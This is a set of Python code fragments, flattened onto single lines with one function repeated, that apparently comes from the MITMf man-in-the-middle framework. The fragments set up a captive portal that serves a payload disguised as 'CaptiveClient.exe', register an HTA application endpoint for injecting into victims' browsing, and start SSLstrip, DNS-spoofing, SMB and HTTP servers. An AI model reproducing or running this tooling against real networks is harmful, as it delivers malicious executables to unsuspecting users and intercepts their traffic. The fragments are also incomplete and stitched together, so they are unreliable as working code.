def serve_portal(self): self.portalurl = 'http://{}/portal.html'.format(self.hostname) from core.servers.HTTP import HTTP HTTP.add_static_endpoint('portal.html','text/html', './config/captive/portal.html') HTTP.add_static_endpoint('CaptiveClient.exe','application/octet-stream', self.config['Captive']['PayloadFilename']) self.tree_info.append("Portal login served by built-in HTTP server.")
def initialize(self, options): self.bar_text = options.text self.ip = options.ip self.hta = options.hta_app.split('/')[-1] Inject.initialize(self, options) self.html_payload = self.get_payload() from core.servers.HTTP import HTTP HTTP.add_static_endpoint(self.hta, "application/hta", options.hta_app)
def serve_portal(self): self.portalurl = 'http://{}/portal.html'.format(self.hostname) from core.servers.HTTP import HTTP HTTP.add_static_endpoint('portal.html', 'text/html', './config/captive/portal.html') HTTP.add_static_endpoint('CaptiveClient.exe', 'application/octet-stream', self.config['Captive']['PayloadFilename']) self.tree_info.append("Portal login served by built-in HTTP server.")
for plugin in plugins: if vars(options)[plugin.optname] is True: plugin.reactor(strippingFactory) print "|_ Sergio-Proxy v0.2.1 online" print "|_ SSLstrip v0.9 by Moxie Marlinspike online" #Start mitmf-api from core.mitmfapi import mitmfapi print "|" print "|_ MITMf-API online" mitmfapi().start() #Start the HTTP Server from core.servers.HTTP import HTTP HTTP().start() print "|_ HTTP server online" #Start DNSChef from core.servers.DNS import DNSChef DNSChef().start() print "|_ DNSChef v{} online".format(DNSChef.version) #Start the SMB server from core.servers.SMB import SMB SMB().start() print "|_ SMB server online\n" #start the reactor reactor.run() print "\n"